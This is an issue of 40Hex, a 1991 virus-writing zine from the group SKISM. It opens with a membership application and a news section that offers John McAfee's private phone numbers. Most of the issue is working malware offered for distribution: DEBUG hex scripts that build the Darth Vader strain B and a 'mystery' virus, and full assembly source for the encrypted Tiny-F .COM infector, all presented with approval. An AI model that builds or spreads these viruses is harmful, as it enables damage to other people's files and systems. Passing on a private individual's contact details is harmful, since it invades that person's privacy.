40Hex Issue 3.3 Volume 1

 40Hex Issue 3                                                      0005

                  Application For Membership To SKISM


    SKISM is quickly becoming one of the largest virus creators/
    distributers in America.  Part of getting bigger is branching
    out in new directions and getting more members.

    If you wish to apply for membership to SKISM or if you want
    your board to become to become a SKISM distribution site
    fill out the application below and upload it to one of the
    SKISM home bases listed in file one of this archive.

    Keep in mind, from the start of the group SKISM we have been
    virus authors, not trojan, bomb, or any other such distructive
    mechanism.  The entire purpose of SKISM is virus reserch, to
    better understand the situation today with computer viruses.

    Therefore trojan and bomb authors shall apply elsewere, when
    you brush up your work, come back.  No disrespect intended.

------------------------------------------------------------------------------

                       Application For Membership


  I am interested in becoming

  ___ A SKISM Member
  ___ A SKISM Distribution Site Sysop


  Handle:      ________________
  Aliases:     ________________
  First Name:  ________________  (Used only for verification)


  Have you ever written a computer virus(es)? ___
  If yes name it/them: _______________________________________
                       _______________________________________

  Programming Languages you know: ____________________________ Know Well
                                  ____________________________    :
                                  ____________________________    :
                                  ____________________________ Hardly Know

  Are you a sysop of a BBS?  ___
  If yes leave the vitals:
                           BBS Name: _________________________
                           Dialup:   _________________________
                           State:    _________________________
                           Running:  example: Telegard._______

  Are you in any way connected to and law enforcment agency? ___
  Do you realize that being untruthfull to the above question
  waviers all legal matters: ____
  Are you in anyway connected to any software company? ___

  List three people you know (handles) : _________________
                                         _________________
                                         _________________

  List three BBS that you have elite access to:

  Name: _____________________   Dialup: _______________________
  Name: _____________________   Dialup: _______________________
  Name: _____________________   Dialup: _______________________

  Thank you.

  Please upload this applcation to one of the SKISM distribution site
  mentioned in the first file of this archive.

-------------------------------------------------------------------------------

 40Hex Issue 3                                                      0006

                               Virus News

  10/91
  -----

  Well the virus world is going as good as ever, dispite the over 20
  virus scanners/removers out there.

  The October 28th issue of PC-Magazine did a huge artical on the newest
  virus scanner/defense systems.  Mentioned in the artical were SKISM-1
  and Captian Trips.

  There is a new catagory of viruses out there, DIR-2 viruses.  Havent
  located one as of yet, but hope to in the near future.

  Bogus SCANS continue to surface in the public domain.  As if SCAN 82
  was not played with enough, there have been many reports of bogus
  versions SCAN 84.  Most of which contian trojan bombs and will distroy
  the FAT table or boot sector of you hard disk upon execution.

  I have the unreleased phone numbers of John Mcafee. Including his
  private office, home, and fax numbers.  Get a hold of me somehow and I
  will get them to you.

  Theres a bogus version of the Red Cross virus going around on h/p
  boards.  The first command is to terminate the program.  Things people
  do for credit these days.

  In case you haven't yet heard Patti Hoffmans VSUM, virus information
  summary is now a giant hyper-text database.  It's really a good
  program, check it out.  Can't wait to see a bogus version of that
  going around.

  That's it for no - till later.

 40Hex Issue 3                                                      0007

                     The Darth Vader Virus Strain B

     The Darth Vader virus is pretty cool because it is a little
     differnt than most other viruses.  Instead of going resident
     and infecting all programs run, it infects the stack space
     of all .COM files, as they are copied.  Pretty cool, huh?

     This virus only infects .COM files with a stack space equal
     to its own size.

     It's orgin is Bulgeria, hmmm, has Bulgeria become the virus
     captial of the world all of a sudden???

     Well here it is, enjoy.

------------------------------------------------------------------------------
n darth-2.com
e 0100  E8 00 00 5E 83 EE 03 89 36 F0 00 A3 FE 00 31 C0
e 0110  8E D8 8E 06 AE 00 B8 00 90 8E D8 31 FF 47 81 FF
e 0120  00 0F 77 58 57 31 F6 B9 58 01 F3 A6 5F E3 02 EB
e 0130  EC 2E 8B 36 F0 00 2E 89 3E F2 00 0E 1F B9 58 01
e 0140  F3 A4 06 1F 8B F7 46 74 33 56 AD 93 AC 81 FB 36
e 0150  FF 74 03 5E EB F0 3C 16 75 F9 5E 56 2E 8B 3E F2
e 0160  00 89 3E 04 00 81 C7 41 01 A5 A5 A4 5F B0 9A AA
e 0170  B8 95 00 2E 03 06 F2 00 AB 8C C0 AB 0E 0E 1F 07
e 0180  BF 00 01 57 8B 36 F0 00 81 C6 47 01 A5 A4 A1 FE
e 0190  00 C3 E9 9C 00 2E 8C 1E 0A 00 2E 89 16 0C 00 2E
e 01A0  89 0E 0E 00 50 53 51 06 56 57 80 FC 40 75 E3 81
e 01B0  F9 68 01 72 DD B8 20 12 CD 2F 26 8A 1D B8 16 12
e 01C0  CD 2F 83 C7 28 0E 1F BE 4A 01 03 36 04 00 B9 03
e 01D0  00 F3 A6 75 5C 1E 07 2E 8E 1E 0A 00 2E 8B 36 0C
e 01E0  00 BF 47 01 2E 03 3E 04 00 A5 A4 B8 00 90 8E C0
e 01F0  2E 8B 0E 0E 00 31 FF 46 49 74 36 51 56 B9 58 01
e 0200  F3 A6 5E E3 03 59 EB ED 59 56 1E 2E 8E 06 0A 00
e 0210  2E 8B 3E 0C 00 B0 E9 AA 2E 2B 36 0C 00 83 EE 03
e 0220  8B C6 AB 07 5F 0E 1F 2E 8B 36 04 00 B9 58 01 F3
e 0230  A4 5F 5E 07 59 5B 58 2E 8B 16 0C 00 2E 8E 1E 0A
e 0240  00 00 00 00 00 00 CB CD 20 90 43 4F 4D 44 61 72
e 0250  74 68 20 56 61 64 65 72 90 1A 1A 1A 1A 1A 1A 1A
rcx
159
w
q
-------------------------------------------------------------------------------


 40Hex Issue 3                                                      0008

                             Mystery Virus


        Actually I do know what this virus is, but being Halloween time
        and all I thought I'd let you find out for yourself.

-------------------------------------------------------------------------------
n mystery.com
e 0100  E9 4B 00 CD 21 2E 56 53 2E 00 8C C3 83 C3 10 2E
e 0110  03 9C 3C 07 2E 89 9C 32 00 2E 8B 9C 3A 07 2E 89
e 0120  9C 30 00 8C C3 83 C3 10 2E 03 9C 40 07 8E D3 2E
e 0130  8B A4 3E 07 EA 00 00 00 00 BF 00 01 81 C6 42 07
e 0140  A4 A5 8B 26 06 00 33 DB 53 FF 64 F5 00 07 E8 00
e 0150  00 5E 83 EE 4C FC 2E 81 BC 42 07 4D 5A 74 0E FA
e 0160  8B E6 81 C4 FC 08 FB 3B 26 06 00 73 CC 2E C6 84
e 0170  76 00 C5 50 06 56 1E 0E 1F B8 00 C5 CD 21 3D 31
e 0180  67 75 04 07 E9 AB 00 07 B4 49 CD 21 BB FF FF B4
e 0190  48 CD 21 81 EB E8 00 73 03 E9 96 00 8C C1 F9 13
e 01A0  CB B4 4A CD 21 BB E7 00 F9 26 19 1E 02 00 06 8E
e 01B0  C1 B4 4A CD 21 8C C0 48 8E D8 C7 06 01 00 08 00
e 01C0  E8 E1 05 8B D8 8B CA 1F 8C D8 E8 D7 05 03 06 06
e 01D0  00 83 D2 00 2B C3 1B D1 72 04 29 06 06 00 1E 0E
e 01E0  2E C6 84 F5 00 62 33 FF 8E DF 1F B9 95 07 90 F3
e 01F0  A4 26 C7 06 49 07 00 00 B8 00 62 CD 21 8E DB 8B
e 0200  3E 08 00 8B DF 8B 3E 06 00 47 8E DB 8B 5D 02 8B
e 0210  3D 83 C7 1A 26 89 1E 93 07 8C C1 8E C3 FA B8 EA
e 0220  00 AA B8 38 03 AB 8B C1 AB 8E C1 26 89 3E 91 07
e 0230  FB 07 B8 00 2A CD 21 3A D6 74 14 E9 8D 00 69 62
e 0240  6D 40 40 53 4E 53 20 20 20 20 20 20 20 20 20 0E
e 0250  1F 5E 56 2E C6 84 68 01 CD B0 02 B9 01 00 33 D2
e 0260  2E C6 84 69 01 25 8B DE 81 C3 26 03 56 2D 4C 5A
e 0270  5E 72 58 06 1E 07 2E C6 84 B1 01 26 2E C6 84 B0
e 0280  01 CD 8B FB 81 C7 F3 01 56 8B F3 83 C6 0B B9 09
e 0290  00 83 3C 00 74 16 F3 A4 5E 8B FB 83 C7 03 56 81
e 02A0  C6 39 01 B9 11 00 AC 2C 20 AA E2 FA 5E 56 33 D2
e 02B0  B0 02 B9 01 00 0C 1B 58 5E 07 72 0F 0E 1F 58 1F
e 02C0  B8 03 C5 CD 21 58 B8 00 4C CD 21 5E 07 58 06 1F
e 02D0  2E 81 BC 42 07 4D 5A 75 03 E9 2E FE E9 5A FE 50
e 02E0  53 51 52 56 57 06 1E 0E 1F 80 3E 39 07 01 75 2A
e 02F0  B8 03 00 CD 10 C6 06 35 07 09 C6 06 38 07 00 C6
e 0300  06 36 07 00 C6 06 37 07 00 C6 06 33 07 00 C6 06
e 0310  39 07 00 90 C7 06 31 07 D2 06 80 3E 33 07 01 75
e 0320  03 E9 D5 00 80 3E 30 07 00 74 07 FE 0E 30 07 E9
e 0330  C7 00 8B 1E 31 07 83 3F FF 75 13 E4 61 24 FC E6
e 0340  61 C6 06 34 07 00 C6 06 33 07 01 E9 AB 00 80 3E
e 0350  34 07 01 75 03 E9 92 00 B0 B6 E6 43 8A 47 02 A2
e 0360  30 07 C6 06 34 07 01 8B 1F B8 DD 34 BA 12 00 F7
e 0370  F3 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 83 06 31
e 0380  07 03 8A 36 37 07 8D 36 A5 06 B9 03 00 80 3E 35
e 0390  07 0F 7E 09 C6 06 35 07 09 90 EB 0E 90 80 3E 35
e 03A0  07 09 73 06 C6 06 35 07 0F 90 8A 1E 35 07 8A 16
e 03B0  36 07 E8 4D 00 FE C6 E2 F1 80 06 36 07 02 80 3E
e 03C0  38 07 01 74 19 80 3E 37 07 15 77 0C 80 06 37 07
e 03D0  02 FE 06 35 07 EB 22 90 C6 06 38 07 01 90 80 2E
e 03E0  37 07 02 FE 0E 35 07 EB 10 90 8A 07 A2 30 07 C6
e 03F0  06 34 07 00 83 06 31 07 01 1F 07 5F 5E 5A 59 5B
e 0400  58 CF 51 B7 00 B4 02 CD 10 B9 01 00 AC 0A C0 74
e 0410  18 2C 20 3C DF 74 04 3C DC 75 06 B9 22 00 80 C2
e 0420  21 B4 09 CD 10 FE C2 EB DC 59 C3 B0 03 CF E8 39
e 0430  01 E8 49 03 9D 80 FC 68 2E FF 2E 91 07 55 8B EC
e 0440  FF 76 06 9D 5D 9C FC 3D 00 4B 74 E2 80 FC 3C 74
e 0450  0A 80 FC 3E 74 4A 80 FC 5B 75 6F 2E 83 3E 49 07
e 0460  00 74 03 E9 A6 00 E8 B9 00 74 03 E9 9E 00 E8 0C
e 0470  03 9D E8 EB 00 73 03 E9 99 00 9C 06 0E 07 56 57
e 0480  51 50 BF 49 07 AB 8B F2 B9 41 00 AC AA 84 C0 74
e 0490  07 E2 F8 26 89 0E 49 07 58 59 5F 5E 07 9D 73 73
e 04A0  2E 3B 1E 49 07 75 65 85 DB 74 61 E8 CF 02 9D E8
e 04B0  AE 00 72 5F 9C 1E 0E 1F 52 BA 4B 07 E8 AB 00 2E
e 04C0  C7 06 49 07 00 00 5A 1F EB D3 80 FC 3D 74 35 80
e 04D0  FC 43 74 30 80 FC 56 74 2B 80 FC C5 75 2E 3C 03
e 04E0  74 06 B8 31 67 EB 37 90 1E B8 00 00 8E D8 FA C7
e 04F0  06 70 00 DA 01 8C 0E 72 00 FB 1F 2E C6 06 39 07
e 0500  01 EB 1B 90 E8 1B 00 75 03 E8 5E 00 E8 6E 02 9D
e 0510  E8 4D 00 9C 1E E8 70 02 C6 06 00 00 5A 1F 9D CA
e 0520  02 00 50 56 8B F2 AC 84 C0 74 24 3C 2E 75 F7 E8
e 0530  22 00 8A E0 E8 1D 00 3D 6F 63 74 0C 3D 78 65 75
e 0540  10 E8 10 00 3C 65 EB 09 E8 09 00 3C 6D EB 02 FE
e 0550  C0 5E 58 C3 AC 3C 43 72 06 3C 59 73 02 04 20 C3
e 0560  9C 80 FC 68 2E FF 1E 91 07 C3 1E 06 56 57 50 53
e 0570  51 52 8C DE 33 C0 8E D8 C4 06 90 00 06 50 C7 06
e 0580  90 00 26 03 8C 0E 92 00 8E DE 33 C9 B8 00 43 E8
e 0590  CE FF 8B D9 80 E1 FE 3A CB 74 07 B8 01 43 E8 BF
e 05A0  FF F9 9C 1E 52 53 B8 02 3D E8 B4 FF 72 0A 8B D8
e 05B0  E8 26 00 B4 3E E8 A8 FF 59 5A 1F 9D 73 06 B8 01
e 05C0  43 E8 9C FF 33 C0 8E D8 8F 06 90 00 8F 06 92 00
e 05D0  5A 59 5B 58 5F 5E 07 1F C3 0E 1F 0E 07 BA 95 07
e 05E0  B9 18 00 B4 3F E8 78 FF 33 C9 33 D2 B8 02 42 E8
e 05F0  6E FF 89 16 AF 07 3D 00 0B 83 DA 00 72 6C A3 AD
e 0600  07 81 3E 95 07 4D 5A 75 17 A1 9D 07 03 06 AB 07
e 0610  E8 91 01 03 06 A9 07 83 D2 00 8B CA 8B D0 EB 15
e 0620  80 3E 95 07 E9 75 44 8B 16 96 07 81 C2 03 01 72
e 0630  3A FE CE 33 C9 B8 00 42 E8 25 FF 05 00 07 90 83
e 0640  D2 00 3B 06 AD 07 75 23 3B 16 AF 07 75 1D BA B1
e 0650  07 8B F2 B9 EF 02 B4 3F E8 05 FF 72 0E 3B C8 75
e 0660  0A BF 49 00 AC AE 75 03 E2 FA C3 33 C9 33 D2 B8
e 0670  02 42 E8 EB FE A3 45 07 89 16 47 07 81 3E 95 07
e 0680  4D 5A 74 0A 05 95 09 90 83 D2 00 74 19 C3 8B 16
e 0690  AD 07 F6 DA 83 E2 0F 33 C9 B8 01 42 E8 C1 FE A3
e 06A0  AD 07 89 16 AF 07 B8 00 57 E8 B4 FE 9C 51 52 81
e 06B0  3E 95 07 4D 5A 74 05 B8 00 01 EB 07 A1 A9 07 8B
e 06C0  16 AB 07 2E C7 06 47 00 00 07 BF 3A 07 AB 8B C2
e 06D0  AB A1 A5 07 AB A1 A3 07 AB BE 95 07 A4 A5 33 D2
e 06E0  B9 49 07 90 B4 40 E8 77 FE 72 27 33 C8 75 23 8B
e 06F0  D1 B8 00 42 E8 69 FE 81 3E 95 07 4D 5A 74 15 C6
e 0700  06 95 07 E9 A1 AD 07 05 46 00 A3 96 07 B9 03 00
e 0710  EB 57 EB 5D E8 8A 00 F7 D0 F7 D2 40 75 01 42 03
e 0720  06 AD 07 13 16 AF 07 B9 10 00 F7 F1 C7 06 A9 07
e 0730  49 00 A3 AB 07 05 72 00 A3 A3 07 C7 06 A5 07 00
e 0740  01 81 06 AD 07 49 07 83 16 AF 07 00 A1 AD 07 25
e 0750  FF 01 A3 97 07 9C A1 AE 07 D0 2E B0 07 D1 D8 9D
e 0760  74 01 40 A3 99 07 B9 18 00 BA 95 07 B4 40 E8 EF
e 0770  FD 5A 59 9D 72 06 B8 01 57 E8 E4 FD C3 1E E8 07
e 0780  00 C6 06 00 00 4D 1F C3 50 53 B4 62 E8 D1 FD 8C
e 0790  C8 48 4B 8E DB F9 13 1E 03 00 3B D8 72 F5 5B 58
e 07A0  C3 A1 9D 07 BA 10 00 F7 E2 C3 FE FF FD 00 FE 40
e 07B0  75 73 73 72 40 40 40 40 40 76 89 92 95 73 8F 86
e 07C0  94 40 40 48 83 49 40 40 96 51 4E 40 51 59 59 50
e 07D0  40 FD 00 FE FC FD 00 4A 01 03 01 B8 01 0B 01 4A
e 07E0  01 06 01 72 01 01 02 9F 01 09 01 15 01 02 02 15
e 07F0  01 03 02 72 01 08 01 4A 01 05 02 26 01 01 01 4A
e 0800  01 08 02 15 01 03 02 15 01 03 03 26 01 08 02 26
e 0810  01 05 01 4A 01 01 02 72 01 08 01 72 01 04 01 72
e 0820  01 04 00 72 01 08 02 9F 01 06 02 B8 01 01 02 EE
e 0830  01 0F FF FF FF 00 00 00 01 00 00 00 00 00 00 00
e 0840  01 3A 16 D8 8E C3 8E B8 00 4C 05 00 00 00 1A 1A

rcx
74e
w
q
-------------------------------------------------------------------------------


 40Hex Issue 3                                                      0009

                            The Tiny-F Virus

       In our first issue we gave you the source for the Tiny-B virus.
       Well some people don't quit.

       After months of struggling Psyco-genius decided to give
       his attempts to make this a good virus over to someone who
       knows what he's doning.

       So Dark (mastered assembler in one week) Angel did some mods
       and here we have it.

-------------------------------------------------------------------------------
tinyv   SEGMENT BYTE PUBLIC 'code'
        ASSUME  CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv

        ORG     100h

DOS     EQU     21h

start:  JMP     pgstart
exlbl:  db      0CDh, 20h, 7, 8, 9
pgstart:CALL    tinyvir
tinyvir:
        POP     SI                      ; get SI for storage
        SUB     SI,offset tinyvir       ; reset SI to virus start
        MOV     BP,[SI+blnkdat]         ; store SI in BP for return
        ADD     BP, OFFSET exlbl
        CALL    endecrpt
        JMP     SHORT realprog

;-----------------------------------------------------------------------------
; nonencrypted subroutines start here
;-----------------------------------------------------------------------------

; PCM's encryption was stupid, mine is better - Dark Angel
endecrpt:
; Only need to save necessary registers - Dark Angel
        PUSH    AX                      ; store registers
        PUSH    BX
        PUSH    CX
        PUSH    SI
; New, better, more compact encryption engine
        MOV     BX, [SI+EN_VAL]
        ADD     SI, offset realprog
        MOV     CX, endenc - realprog
        SHR     CX, 1
        JNC     start_encryption
        DEC     SI
start_encryption:
        MOV     DI, SI
encloop:
        LODSW                           ; DS:[SI] -> AX
        XOR     AX, BX
        STOSW
        LOOP    encloop

        POP     SI                      ; restore registers
        POP     CX
        POP     BX
        POP     AX
        RET
;-----end of encryption routine
nfect:
        CALL    endecrpt
        MOV     [SI+offset endprog+3],AX; point to data
        MOV     AH,40H                  ; write instruction
        LEA     DX,[SI+0105H]           ; write buffer loc    |
        MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
        INT     DOS                     ; do it!
        PUSHF
        CALL    endecrpt
        POPF
        JC      outa1                    ; error, bug out
        RET
outa1:
        JMP     exit


;-----------------------------------------------------------------------------
;    Unencrypted routines end here
;-----------------------------------------------------------------------------
realprog:
        CLD                             ; forward direction for string ops
; Why save DTA?  This part killed.  Saves quite a few bytes.  Dark Angel
; Instead, set DTA to SI+ENDPROG+131h
        MOV     AH, 1Ah                 ; Set DTA
        LEA     DX, [SI+ENDPROG+131h]   ;  to DS:DX
        INT     21h

        LEA     DX,[SI+fspec]           ; get filespec (*.COM)
        XOR     CX, CX                  ;        ||   (clear regs)
        MOV     AH,4EH                  ;        ||   (find files)
mainloop:                               ;       \||/
        INT     DOS                     ;    ----\/----
        JC      hiccup                  ; no more files found, terminate virus
; Next part had to be changed to account for new DTA address - Dark Angel
        LEA     DX, [SI+ENDPROG+131h+30]; set file name pointer
                                        ; (offset 30 is DTA filename start)
        MOV     AX,3D02H                ; open file
        INT     DOS                     ; do it!
        MOV     BX,AX                   ; move file handle to BX
        MOV     AH,3FH                  ; read file
        LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
        MOV     DI,DX                   ; set Dest Index to area for buffer
        MOV     CX,0003H                ; read 3 bytes
        INT     DOS                     ; do it!
        CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
        JE      infect                  ; If begins w/JMP, Infect
nextfile:
        MOV     AH,4FH                  ; set int 21 to find next file
        JMP     mainloop                ; next file, do it!
hiccup: JMP     exit
infect:
        MOV     AX,5700h                ; get date function
        INT     DOS                     ; do it!
        PUSH    DX                      ; store date + time
        PUSH    CX
        MOV     DX,[DI+01H]             ; set # of bytes to move
        MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
; Tighter Code here - Dark Angel
        XOR     CX,CX                   ;  "  " "    "   "   " (0 here)
        MOV     AX,4200H                ; move file
        INT     DOS                     ; do it!
        MOV     DX,DI                   ; set dest index to area for buffer
        MOV     CX,0002H                ; two bytes
        MOV     AH,3FH                  ; read file
        INT     DOS                     ; do it!
        CMP     WORD PTR [DI],0807H     ; check for infection
        JE      nextfile                ; next file if infected
getaval:                                ; encryption routine starts here
; My modifications here - Dark Angel
        MOV     AH, 2Ch                 ; DOS get TIME function
        INT     DOS                     ; do it!
        OR      DX, DX                  ; Is it 0?
        JE      getaval                 ; yeah, try again
        MOV     word ptr [si+offset en_val], DX ; Store it
; Tighter code here - Dark Angel
        XOR     DX,DX                   ; clear regs
        XOR     CX,CX                   ;   "    "
        MOV     AX,4202H                ; move file pointer
        INT     DOS                     ; do it!
        OR      DX,DX                   ; new pointer location 0?
        JNE     nextfile                ; if no then next file
        CMP     AH,0FEH                 ; new pointer loc too high?
        JNC     nextfile                ; yes, try again
        CALL    nfect
        MOV     AX,4200H                ; move pointer
        XOR     CX, CX                  ; clear reg
        MOV     DX,OFFSET 00001         ; where to set pointer
        INT     DOS                     ; do it!
        MOV     AH,40H                  ; write to file
        LEA     DX,[SI+offset endprog+3]; write data at SI+BUFFER
        MOV     CX,0002H                ; two bytes (the JMP)
        INT     DOS                     ; do it!
        MOV     AX,5701h                ; store date
        POP     CX                      ; restore time
        POP     DX                      ; restore date
        INT     DOS                     ; do it!
exit:
        MOV     AH,3EH                  ; close file
        INT     DOS                     ; do it!

; Return DTA to old position - Dark Angel

        MOV     AH, 1Ah                 ; Set DTA
        MOV     DX, 80h                 ;  to PSP DTA
        INT     21h

        JMP     BP

;-----------------------------------------------------------------------------
; encrypted data goes here
;-----------------------------------------------------------------------------

fspec   LABEL   WORD
        DB      '*.COM',0
nondata DB      'Tiny-F version 1.1'    ; Program identification
        DB      '˜€×@&î·³½ë'          ; author identification
        DB      'Released 10-19-91'     ; release date
endenc  LABEL   BYTE                    ; end of encryption zone
;-----------------------------------------------------------------------------
; nonencrypted data goes anywhere after here
;-----------------------------------------------------------------------------

blnkdat LABEL   WORD
        DW      0000H

; Only en_val is needed now because of new encryption mechanism
en_val  DW      0h

endprog LABEL   WORD
tinyv   ENDS
        END     start
-------------------------------------------------------------------------------
 40Hex Issue 3                                                      0010
  
                              In Closing

     Well that will do it for this issue.  Sorry it took so damn long,
     but screw it.

     Next issue we will have more articals, more viruses, and all that.

     We were supposed to have an interview with an Amiga virus writer
     this issue but we just couldn't get it in time.  Also we were
     planning an interview with John Mcafee, but the same story there.

     Also next issue, I hope to have the Bob Ross virus, from the
     twisted mind of Dark Angel.  And If I can find it, the DIR-2 virus
     and The Teqeulla Virus, so I can't spell.

     See you then.